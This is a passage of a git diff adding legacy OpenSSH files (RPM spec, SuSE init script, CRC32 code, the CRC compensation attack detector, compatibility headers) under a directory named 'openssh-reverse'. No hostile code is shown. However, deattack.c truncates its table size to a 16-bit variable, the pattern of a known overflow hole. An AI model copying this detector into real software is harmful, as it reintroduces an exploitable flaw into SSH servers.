Nov 08 1999 Damien Miller +- Added links for slogin +- Fixed perms on manpages +* Sat Oct 30 1999 Damien Miller +- Renamed init script +* Fri Oct 29 1999 Damien Miller +- Back to old binary names +* Thu Oct 28 1999 Damien Miller +- Use autoconf +- New binary names +* Wed Oct 27 1999 Damien Miller +- Initial RPMification, based on Jan "Yenya" Kasprzak's spec. + +%prep + +%setup -q + +%build +CFLAGS="$RPM_OPT_FLAGS" \ +./configure --prefix=/usr --sysconfdir=/etc/ssh --with-gnome-askpass \ + --with-tcp-wrappers --with-ipv4-default +make + +cd contrib +gcc -O -g `gnome-config --cflags gnome gnomeui` \ + gnome-ssh-askpass.c -o gnome-ssh-askpass \ + `gnome-config --libs gnome gnomeui` +cd .. + +%install +rm -rf $RPM_BUILD_ROOT +make install DESTDIR=$RPM_BUILD_ROOT/ +install -d $RPM_BUILD_ROOT/etc/ssh/ +install -d $RPM_BUILD_ROOT/etc/pam.d/ +install -d $RPM_BUILD_ROOT/sbin/init.d/ +install -d $RPM_BUILD_ROOT/var/adm/fillup-templates +install -d $RPM_BUILD_ROOT/usr/libexec/ssh +install -m644 sshd.pam.generic $RPM_BUILD_ROOT/etc/pam.d/sshd +install -m744 contrib/suse/rc.sshd $RPM_BUILD_ROOT/sbin/init.d/sshd +ln -s ../../sbin/init.d/sshd $RPM_BUILD_ROOT/usr/sbin/rcsshd +install -s contrib/gnome-ssh-askpass $RPM_BUILD_ROOT/usr/libexec/ssh/gnome-ssh-askpass +ln -s gnome-ssh-askpass $RPM_BUILD_ROOT/usr/libexec/ssh/ssh-askpass +install -m744 contrib/suse/rc.config.sshd \ + $RPM_BUILD_ROOT/var/adm/fillup-templates + +%clean +rm -rf $RPM_BUILD_ROOT + +%post server +if [ "$1" = 1 ]; then + echo "Creating SSH stop/start scripts in the rc directories..." + ln -s ../sshd /sbin/init.d/rc2.d/K20sshd + ln -s ../sshd /sbin/init.d/rc2.d/S20sshd + ln -s ../sshd /sbin/init.d/rc3.d/K20sshd + ln -s ../sshd /sbin/init.d/rc3.d/S20sshd +fi +echo "Updating /etc/rc.config..." +if [ -x /bin/fillup ] ; then + /bin/fillup -q -d = etc/rc.config var/adm/fillup-templates/rc.config.sshd +else + echo "ERROR: fillup not found. This should NOT happen in SuSE Linux." + echo "Update /etc/rc.config by hand from the following template file:" + echo " /var/adm/fillup-templates/rc.config.sshd" +fi +if [ ! -f /etc/ssh/ssh_host_key -o ! -s /etc/ssh/ssh_host_key ]; then + echo "Generating SSH host key..." + /usr/bin/ssh-keygen -b 1024 -f /etc/ssh/ssh_host_key -N '' >&2 +fi +if [ ! -f /etc/ssh/ssh_host_dsa_key -o ! -s /etc/ssh/ssh_host_dsa_key ]; then + echo "Generating SSH DSA host key..." + /usr/bin/ssh-keygen -d -f /etc/ssh/ssh_host_dsa_key -N '' >&2 +fi +if test -r /var/run/sshd.pid +then + echo "Restarting the running SSH daemon..." + /usr/sbin/rcsshd restart >&2 +fi + +%preun server +if [ "$1" = 0 ] +then + echo "Stopping the SSH daemon..." + /usr/sbin/rcsshd stop >&2 + echo "Removing SSH stop/start scripts from the rc directories..." + rm /sbin/init.d/rc2.d/K20sshd + rm /sbin/init.d/rc2.d/S20sshd + rm /sbin/init.d/rc3.d/K20sshd + rm /sbin/init.d/rc3.d/S20sshd +fi + +%files +%defattr(-,root,root) +%doc COPYING.Ylonen ChangeLog OVERVIEW README* +%doc RFC.nroff TODO UPGRADING CREDITS +%attr(0755,root,root) /usr/bin/ssh-keygen +%attr(0755,root,root) /usr/bin/scp +%attr(0644,root,root) %doc /usr/man/man1/ssh-keygen.1* +%attr(0644,root,root) %doc /usr/man/man1/scp.1* +%attr(0755,root,root) %dir /etc/ssh +%attr(0755,root,root) %dir /usr/libexec/ssh + +%files clients +%defattr(-,root,root) +%attr(4755,root,root) /usr/bin/ssh +%attr(0755,root,root) /usr/bin/ssh-agent +%attr(0755,root,root) /usr/bin/ssh-add +%attr(0644,root,root) %doc /usr/man/man1/ssh.1* +%attr(0644,root,root) %doc /usr/man/man1/ssh-agent.1* +%attr(0644,root,root) %doc /usr/man/man1/ssh-add.1* +%attr(0644,root,root) %config /etc/ssh/ssh_config +%attr(-,root,root) /usr/bin/slogin +%attr(-,root,root) %doc /usr/man/man1/slogin.1* + +%files server +%defattr(-,root,root) +%attr(0755,root,root) /usr/sbin/sshd +%attr(0644,root,root) %doc /usr/man/man8/sshd.8* +%attr(0600,root,root) %config /etc/ssh/sshd_config +%attr(0644,root,root) %config /etc/pam.d/sshd +%attr(0755,root,root) %config /sbin/init.d/sshd +%attr(-,root,root) /usr/sbin/rcsshd +%attr(0644,root,root) /var/adm/fillup-templates/rc.config.sshd + +%files askpass +%defattr(-,root,root) +%attr(0755,root,root) /usr/libexec/ssh/ssh-askpass +%attr(0755,root,root) /usr/libexec/ssh/gnome-ssh-askpass + diff --git a/other/openssh-reverse/contrib/suse/rc.config.sshd b/other/openssh-reverse/contrib/suse/rc.config.sshd new file mode 100644 index 0000000..baaa7a5 --- /dev/null +++ b/other/openssh-reverse/contrib/suse/rc.config.sshd @@ -0,0 +1,5 @@ +# +# Start the Secure Shell (SSH) Daemon? +# +START_SSHD="yes" + diff --git a/other/openssh-reverse/contrib/suse/rc.sshd b/other/openssh-reverse/contrib/suse/rc.sshd new file mode 100644 index 0000000..f7d431e --- /dev/null +++ b/other/openssh-reverse/contrib/suse/rc.sshd @@ -0,0 +1,80 @@ +#! /bin/sh +# Copyright (c) 1995-1998 SuSE GmbH Nuernberg, Germany. +# +# Author: Chris Saia +# +# /sbin/init.d/sshd +# +# and symbolic its link +# +# /sbin/rcsshd +# + +. /etc/rc.config + +# Determine the base and follow a runlevel link name. +base=${0##*/} +link=${base#*[SK][0-9][0-9]} + +# Force execution if not called by a runlevel directory. +test $link = $base && START_SSHD=yes +test "$START_SSHD" = yes || exit 0 + +# The echo return value for success (defined in /etc/rc.config). +return=$rc_done +case "$1" in + start) + echo -n "Starting service sshd" + ## Start daemon with startproc(8). If this fails + ## the echo return value is set appropriate. + + startproc /usr/sbin/sshd || return=$rc_failed + + echo -e "$return" + ;; + stop) + echo -n "Stopping service sshd" + ## Stop daemon with killproc(8) and if this fails + ## set echo the echo return value. + + killproc -TERM /usr/sbin/sshd || return=$rc_failed + + echo -e "$return" + ;; + restart) + ## If first returns OK call the second, if first or + ## second command fails, set echo return value. + $0 stop && $0 start || return=$rc_failed + ;; + reload) + ## Choose ONE of the following two cases: + + ## First possibility: A few services accepts a signal + ## to reread the (changed) configuration. + + echo -n "Reload service sshd" + killproc -HUP /usr/sbin/sshd || return=$rc_failed + echo -e "$return" + ;; + status) + echo -n "Checking for service sshd" + ## Check status with checkproc(8), if process is running + ## checkproc will return with exit status 0. + + checkproc /usr/sbin/sshd && echo OK || echo No process + ;; + probe) + ## Optional: Probe for the necessity of a reload, + ## give out the argument which is required for a reload. + + test /etc/ssh/sshd_config -nt /var/run/sshd.pid && echo reload + ;; + *) + echo "Usage: $0 {start|stop|status|restart|reload[|probe]}" + exit 1 + ;; +esac + +# Inform the caller not only verbosely and set an exit status. +test "$return" = "$rc_done" || exit 1 +exit 0 diff --git a/other/openssh-reverse/crc32.c b/other/openssh-reverse/crc32.c new file mode 100644 index 0000000..05a1af7 --- /dev/null +++ b/other/openssh-reverse/crc32.c @@ -0,0 +1,121 @@ +/* + * The implementation here was originally done by Gary S. Brown. + * I have borrowed the tables directly, and made some minor changes + * to the crc32-function (including changing the interface). + * //ylo + */ + +#include "includes.h" +RCSID("$OpenBSD: crc32.c,v 1.5 2000/06/20 01:39:40 markus Exp $"); + +#include "crc32.h" + + /* ============================================================= */ + /* COPYRIGHT (C) 1986 Gary S. Brown. You may use this program, or */ + /* code or tables extracted from it, as desired without restriction. */ + /* */ + /* First, the polynomial itself and its table of feedback terms. The */ + /* polynomial is */ + /* X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0 */ + /* */ + /* Note that we take it "backwards" and put the highest-order term in */ + /* the lowest-order bit. The X^32 term is "implied"; the LSB is the */ + /* X^31 term, etc. The X^0 term (usually shown as "+1") results in */ + /* the MSB being 1. */ + /* */ + /* Note that the usual hardware shift register implementation, which */ + /* is what we're using (we're merely optimizing it by doing eight-bit */ + /* chunks at a time) shifts bits into the lowest-order term. In our */ + /* implementation, that means shifting towards the right. Why do we */ + /* do it this way? Because the calculated CRC must be transmitted in */ + /* order from highest-order term to lowest-order term. UARTs transmit */ + /* characters in order from LSB to MSB. By storing the CRC this way, */ + /* we hand it to the UART in the order low-byte to high-byte; the UART */ + /* sends each low-bit to hight-bit; and the result is transmission bit */ + /* by bit from highest- to lowest-order term without requiring any bit */ + /* shuffling on our part. Reception works similarly. */ + /* */ + /* The feedback terms table consists of 256, 32-bit entries. Notes: */ + /* */ + /* The table can be generated at runtime if desired; code to do so */ + /* is shown later. It might not be obvious, but the feedback */ + /* terms simply represent the results of eight shift/xor opera- */ + /* tions for all combinations of data and CRC register values. */ + /* */ + /* The values must be right-shifted by eight bits by the "updcrc" */ + /* logic; the shift must be unsigned (bring in zeroes). On some */ + /* hardware you could probably optimize the shift in assembler by */ + /* using byte-swap instructions. */ + /* polynomial $edb88320 */ + /* */ + /* -------------------------------------------------------------------- */ + +static unsigned int crc32_tab[] = { + 0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L, + 0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L, + 0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L, + 0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL, + 0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L, + 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L, + 0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L, + 0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL, + 0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L, + 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL, + 0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L, + 0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L, + 0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L, + 0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL, + 0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL, + 0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L, + 0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL, + 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L, + 0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L, + 0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L, + 0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL, + 0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L, + 0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L, + 0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL, + 0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L, + 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L, + 0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L, + 0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L, + 0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L, + 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL, + 0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL, + 0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L, + 0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L, + 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL, + 0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL, + 0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L, + 0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL, + 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L, + 0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL, + 0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L, + 0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL, + 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L, + 0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L, + 0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL, + 0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L, + 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L, + 0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L, + 0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L, + 0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L, + 0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L, + 0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL, + 0x2d02ef8dL +}; + +/* Return a 32-bit CRC of the contents of the buffer. */ + +unsigned int +crc32(const unsigned char *s, unsigned int len) +{ + unsigned int i; + unsigned int crc32val; + + crc32val = 0; + for (i = 0; i < len; i ++) { + crc32val = crc32_tab[(crc32val ^ s[i]) & 0xff] ^ (crc32val >> 8); + } + return crc32val; +} diff --git a/other/openssh-reverse/crc32.h b/other/openssh-reverse/crc32.h new file mode 100644 index 0000000..45495b4 --- /dev/null +++ b/other/openssh-reverse/crc32.h @@ -0,0 +1,27 @@ +/* + * + * crc32.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1992 Tatu Ylonen, Espoo, Finland + * All rights reserved + * + * Created: Tue Feb 11 14:37:27 1992 ylo + * + * Functions for computing 32-bit CRC. + * + */ + +/* RCSID("$OpenBSD: crc32.h,v 1.6 2000/06/20 01:39:40 markus Exp $"); */ + +#ifndef CRC32_H +#define CRC32_H + +/* + * This computes a 32 bit CRC of the data in the buffer, and returns the CRC. + * The polynomial used is 0xedb88320. + */ +unsigned int crc32(const unsigned char *buf, unsigned int len); + +#endif /* CRC32_H */ diff --git a/other/openssh-reverse/deattack.c b/other/openssh-reverse/deattack.c new file mode 100644 index 0000000..7f95eca --- /dev/null +++ b/other/openssh-reverse/deattack.c @@ -0,0 +1,155 @@ +/* + * $OpenBSD: deattack.c,v 1.7 2000/06/20 01:39:41 markus Exp $ + * Cryptographic attack detector for ssh - source code + * + * Copyright (c) 1998 CORE SDI S.A., Buenos Aires, Argentina. + * + * All rights reserved. Redistribution and use in source and binary + * forms, with or without modification, are permitted provided that + * this copyright notice is retained. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED + * WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR + * CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF THIS + * SOFTWARE. + * + * Ariel Futoransky + * + */ + +#include "includes.h" +#include "deattack.h" +#include "ssh.h" +#include "crc32.h" +#include "getput.h" +#include "xmalloc.h" + +/* SSH Constants */ +#define SSH_MAXBLOCKS (32 * 1024) +#define SSH_BLOCKSIZE (8) + +/* Hashing constants */ +#define HASH_MINSIZE (8 * 1024) +#define HASH_ENTRYSIZE (2) +#define HASH_FACTOR(x) ((x)*3/2) +#define HASH_UNUSEDCHAR (0xff) +#define HASH_UNUSED (0xffff) +#define HASH_IV (0xfffe) + +#define HASH_MINBLOCKS (7*SSH_BLOCKSIZE) + + +/* Hash function (Input keys are cipher results) */ +#define HASH(x) GET_32BIT(x) + +#define CMP(a,b) (memcmp(a, b, SSH_BLOCKSIZE)) + + +void +crc_update(u_int32_t *a, u_int32_t b) +{ + b ^= *a; + *a = crc32((unsigned char *) &b, sizeof(b)); +} + +/* detect if a block is used in a particular pattern */ +int +check_crc(unsigned char *S, unsigned char *buf, u_int32_t len, + unsigned char *IV) +{ + u_int32_t crc; + unsigned char *c; + + crc = 0; + if (IV && !CMP(S, IV)) { + crc_update(&crc, 1); + crc_update(&crc, 0); + } + for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) { + if (!CMP(S, c)) { + crc_update(&crc, 1); + crc_update(&crc, 0); + } else { + crc_update(&crc, 0); + crc_update(&crc, 0); + } + } + return (crc == 0); +} + + +/* Detect a crc32 compensation attack on a packet */ +int +detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV) +{ + static u_int16_t *h = (u_int16_t *) NULL; + static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; + register u_int32_t i, j; + u_int32_t l; + register unsigned char *c; + unsigned char *d; + + if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || + len % SSH_BLOCKSIZE != 0) { + fatal("detect_attack: bad length %d", len); + } + for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2) + ; + + if (h == NULL) { + debug("Installing crc compensation attack detector."); + n = l; + h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); + } else { + if (l > n) { + n = l; + h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE); + } + } + + if (len <= HASH_MINBLOCKS) { + for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) { + if (IV && (!CMP(c, IV))) { + if ((check_crc(c, buf, len, IV))) + return (DEATTACK_DETECTED); + else + break; + } + for (d = buf; d < c; d += SSH_BLOCKSIZE) { + if (!CMP(c, d)) { + if ((check_crc(c, buf, len, IV))) + return (DEATTACK_DETECTED); + else + break; + } + } + } + return (DEATTACK_OK); + } + memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE); + + if (IV) + h[HASH(IV) & (n - 1)] = HASH_IV; + + for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) { + for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED; + i = (i + 1) & (n - 1)) { + if (h[i] == HASH_IV) { + if (!CMP(c, IV)) { + if (check_crc(c, buf, len, IV)) + return (DEATTACK_DETECTED); + else + break; + } + } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) { + if (check_crc(c, buf, len, IV)) + return (DEATTACK_DETECTED); + else + break; + } + } + h[i] = j; + } + return (DEATTACK_OK); +} diff --git a/other/openssh-reverse/deattack.h b/other/openssh-reverse/deattack.h new file mode 100644 index 0000000..6ce54de --- /dev/null +++ b/other/openssh-reverse/deattack.h @@ -0,0 +1,28 @@ +/* + * Cryptographic attack detector for ssh - Header file + * + * Copyright (c) 1998 CORE SDI S.A., Buenos Aires, Argentina. + * + * All rights reserved. Redistribution and use in source and binary + * forms, with or without modification, are permitted provided that + * this copyright notice is retained. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED + * WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR + * CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF THIS + * SOFTWARE. + * + * Ariel Futoransky + * + */ + +#ifndef _DEATTACK_H +#define _DEATTACK_H + +/* Return codes */ +#define DEATTACK_OK 0 +#define DEATTACK_DETECTED 1 + +int detect_attack(unsigned char *buf, u_int32_t len, unsigned char IV[8]); +#endif diff --git a/other/openssh-reverse/defines.h b/other/openssh-reverse/defines.h new file mode 100644 index 0000000..23e00d1 --- /dev/null +++ b/other/openssh-reverse/defines.h @@ -0,0 +1,381 @@ +#ifndef _DEFINES_H +#define _DEFINES_H + +/* Necessary headers */ + +#include /* For [u]intxx_t */ +#include /* For SHUT_XXXX */ +#include /* For MAXPATHLEN */ +#include /* For typedefs */ +#include /* For IPv6 macros */ +#include /* For IPTOS macros */ +#ifdef HAVE_SYS_BITYPES_H +# include /* For u_intXX_t */ +#endif +#ifdef HAVE_PATHS_H +# include /* For _PATH_XXX */ +#endif +#ifdef HAVE_LIMITS_H +# include /* For PATH_MAX */ +#endif +#ifdef HAVE_SYS_TIME_H +# include /* For timersub */ +#endif +#ifdef HAVE_MAILLOCK_H +# include /* For _PATH_MAILDIR */ +#endif +#ifdef HAVE_SYS_CDEFS_H +# include /* For __P() */ +#endif +#ifdef HAVE_SYS_SYSMACROS_H +# include /* For MIN, MAX, etc */ +#endif +#ifdef HAVE_SYS_STAT_H +# include /* For S_* constants and macros */ +#endif + +#include /* For STDIN_FILENO, etc */ + +/* Constants */ + +#ifndef SHUT_RDWR +enum +{ + SHUT_RD = 0, /* No more receptions. */ + SHUT_WR, /* No more transmissions. */ + SHUT_RDWR /* No more receptions or transmissions. */ +}; +# define SHUT_RD SHUT_RD +# define SHUT_WR SHUT_WR +# define SHUT_RDWR SHUT_RDWR +#endif + +#ifndef IPTOS_LOWDELAY +# define IPTOS_LOWDELAY 0x10 +# define IPTOS_THROUGHPUT 0x08 +# define IPTOS_RELIABILITY 0x04 +# define IPTOS_LOWCOST 0x02 +# define IPTOS_MINCOST IPTOS_LOWCOST +#endif /* IPTOS_LOWDELAY */ + +#ifndef MAXPATHLEN +# ifdef PATH_MAX +# define MAXPATHLEN PATH_MAX +# else /* PATH_MAX */ +# define MAXPATHLEN 64 /* Should be safe */ +# endif /* PATH_MAX */ +#endif /* MAXPATHLEN */ + +#ifndef STDIN_FILENO +# define STDIN_FILENO 0 +#endif +#ifndef STDOUT_FILENO +# define STDOUT_FILENO 1 +#endif +#ifndef STDERR_FILENO +# define STDERR_FILENO 2 +#endif + +#ifndef S_ISREG +# define S_ISDIR(mode) (((mode) & (_S_IFMT)) == (_S_IFDIR)) +# define S_ISREG(mode) (((mode) & (_S_IFMT)) == (_S_IFREG)) +#endif /* S_ISREG */ + +#ifndef S_IXUSR +# define S_IXUSR 0000100 /* execute/search permission, */ +# define S_IXGRP 0000010 /* execute/search permission, */ +# define S_IXOTH 0000001 /* execute/search permission, */ +# define _S_IWUSR 0000200 /* write permission, */ +# define S_IWUSR _S_IWUSR /* write permission, owner */ +# define S_IWGRP 0000020 /* write permission, group */ +# define S_IWOTH 0000002 /* write permission, other */ +# define S_IRUSR 0000400 /* read permission, owner */ +# define S_IRGRP 0000040 /* read permission, group */ +# define S_IROTH 0000004 /* read permission, other */ +# define S_IRWXU 0000700 /* read, write, execute */ +# define S_IRWXG 0000070 /* read, write, execute */ +# define S_IRWXO 0000007 /* read, write, execute */ +#endif /* S_IXUSR */ + +/* Types */ + +/* If sys/types.h does not supply intXX_t, supply them ourselves */ +/* (or die trying) */ +#ifndef HAVE_INTXX_T +# if (SIZEOF_CHAR == 1) +typedef char int8_t; +# else +# error "8 bit int type not found." +# endif +# if (SIZEOF_SHORT_INT == 2) +typedef short int int16_t; +# else +# error "16 bit int type not found." +# endif +# if (SIZEOF_INT == 4) +typedef int int32_t; +# else +# error "32 bit int type not found." +# endif +/* +# if (SIZEOF_LONG_INT == 8) +typedef long int int64_t; +# else +# if (SIZEOF_LONG_LONG_INT == 8) +typedef long long int int64_t; +# define HAVE_INTXX_T 1 +# else +# error "64 bit int type not found." +# endif +# endif +*/ +#endif + +/* If sys/types.h does not supply u_intXX_t, supply them ourselves */ +#ifndef HAVE_U_INTXX_T +# ifdef HAVE_UINTXX_T +typedef uint8_t u_int8_t; +typedef uint16_t u_int16_t; +typedef uint32_t u_int32_t; +/* +typedef uint64_t u_int64_t; +*/ +# define HAVE_U_INTXX_T 1 +# else +# if (SIZEOF_CHAR == 1) +typedef unsigned char u_int8_t; +# else +# error "8 bit int type not found." +# endif +# if (SIZEOF_SHORT_INT == 2) +typedef unsigned short int u_int16_t; +# else +# error "16 bit int type not found." +# endif +# if (SIZEOF_INT == 4) +typedef unsigned int u_int32_t; +# else +# error "32 bit int type not found." +# endif +/* +# if (SIZEOF_LONG_INT == 8) +typedef unsigned long int u_int64_t; +# else +# if (SIZEOF_LONG_LONG_INT == 8) +typedef unsigned long long int u_int64_t; +# define HAVE_U_INTXX_T 1 +# else +# error "64 bit int type not found." +# endif +# endif +*/ +# endif +#endif + +#ifndef HAVE_SOCKLEN_T +typedef unsigned int socklen_t; +# define HAVE_SOCKLEN_T +#endif /* HAVE_SOCKLEN_T */ + +#ifndef HAVE_SIZE_T +typedef unsigned int size_t; +# define HAVE_SIZE_T +#endif /* HAVE_SIZE_T */ + +#ifndef HAVE_SSIZE_T +typedef int ssize_t; +# define HAVE_SSIZE_T +#endif /* HAVE_SSIZE_T */ + +#ifndef HAVE_SA_FAMILY_T +typedef int sa_family_t; +# define HAVE_SA_FAMILY_T +#endif /* HAVE_SA_FAMILY_T */ + +#ifndef HAVE_PID_T +typedef int pid_t; +# define HAVE_PID_T +#endif /* HAVE_PID_T */ + +#ifndef HAVE_MODE_T +typedef int mode_t; +# define HAVE_MODE_T +#endif /* HAVE_MODE_T */ + +#if !defined(HAVE_SS_FAMILY_IN_SS) && defined(HAVE___SS_FAMILY_IN_SS) +# define ss_family __ss_family +#endif /* !defined(HAVE_SS_FAMILY_IN_SS) && defined(HAVE_SA_FAMILY_IN_SS) */ + +/* Paths */ + +#ifndef _PATH_BSHELL +# define _PATH_BSHELL "/bin/sh" +#endif + +#ifdef USER_PATH +# ifdef _PATH_STDPATH +# undef _PATH_STDPATH +# endif +# define _PATH_STDPATH USER_PATH +#endif + +#ifndef _PATH_STDPATH +# define _PATH_STDPATH "/usr/bin:/bin:/usr/sbin:/sbin" +#endif + +#ifndef _PATH_DEVNULL +# define _PATH_DEVNULL "/dev/null" +#endif + +#ifndef MAIL_DIRECTORY +# define MAIL_DIRECTORY "/var/spool/mail" +#endif + +#ifndef MAILDIR +# define MAILDIR MAIL_DIRECTORY +#endif + +#if !defined(_PATH_MAILDIR) && defined(MAILDIR) +# define _PATH_MAILDIR MAILDIR +#endif /* !defined(_PATH_MAILDIR) && defined(MAILDIR) */ + +#ifndef _PATH_RSH +# ifdef RSH_PATH +# define _PATH_RSH RSH_PATH +# endif /* RSH_PATH */ +#endif /* _PATH_RSH */ + +/* Macros */ + +#ifndef MAX +# define MAX(a,b) (((a)>(b))?(a):(b)) +# define MIN(a,b) (((a)<(b))?(a):(b)) +#endif + +#ifndef timersub +#define timersub(a, b, result) \ + do { \ + (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \ + (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \ + if ((result)->tv_usec < 0) { \ + --(result)->tv_sec; \ + (result)->tv_usec += 1000000; \ + } \ + } while (0) +#endif + +#ifndef __P +# define __P(x) x +#endif + +#if !defined(IN6_IS_ADDR_V4MAPPED) +# define IN6_IS_ADDR_V4MAPPED(a) \ + ((((u_int32_t *) (a))[0] == 0) && (((u_int32_t *) (a))[1] == 0) && \ + (((u_int32_t *) (a))[2] == htonl (0xffff))) +#endif /* !defined(IN6_IS_ADDR_V4MAPPED) */ + +#if !defined(__GNUC__) || (__GNUC__ < 2) +# define __attribute__(x) +#endif /* !defined(__GNUC__) || (__GNUC__ < 2) */ + +#if defined(HAVE_SECURITY_PAM_APPL_H) && !defined(DISABLE_PAM) +# define USE_PAM +#endif /* defined(HAVE_SECURITY_PAM_APPL_H) && !defined(DISABLE_PAM) */ + +/* Function replacement / compatibility hacks */ + +/* In older versions of libpam, pam_strerror takes a single argument */ +#ifdef HAVE_OLD_PAM +# define PAM_STRERROR(a,b) pam_strerror((b)) +#else +# define PAM_STRERROR(a,b) pam_strerror((a),(b)) +#endif + +#if defined(BROKEN_GETADDRINFO) && defined(HAVE_GETADDRINFO) +# undef HAVE_GETADDRINFO +#endif /* defined(BROKEN_GETADDRINFO) && defined(HAVE_GETADDRINFO) */ + +#if !defined(HAVE_MEMMOVE) && defined(HAVE_BCOPY) +# define memmove(s1, s2, n) bcopy((s2), (s1), (n)) +#endif /* !defined(HAVE_MEMMOVE) && defined(HAVE_BCOPY) */ + +#if !defined(HAVE_ATEXIT) && 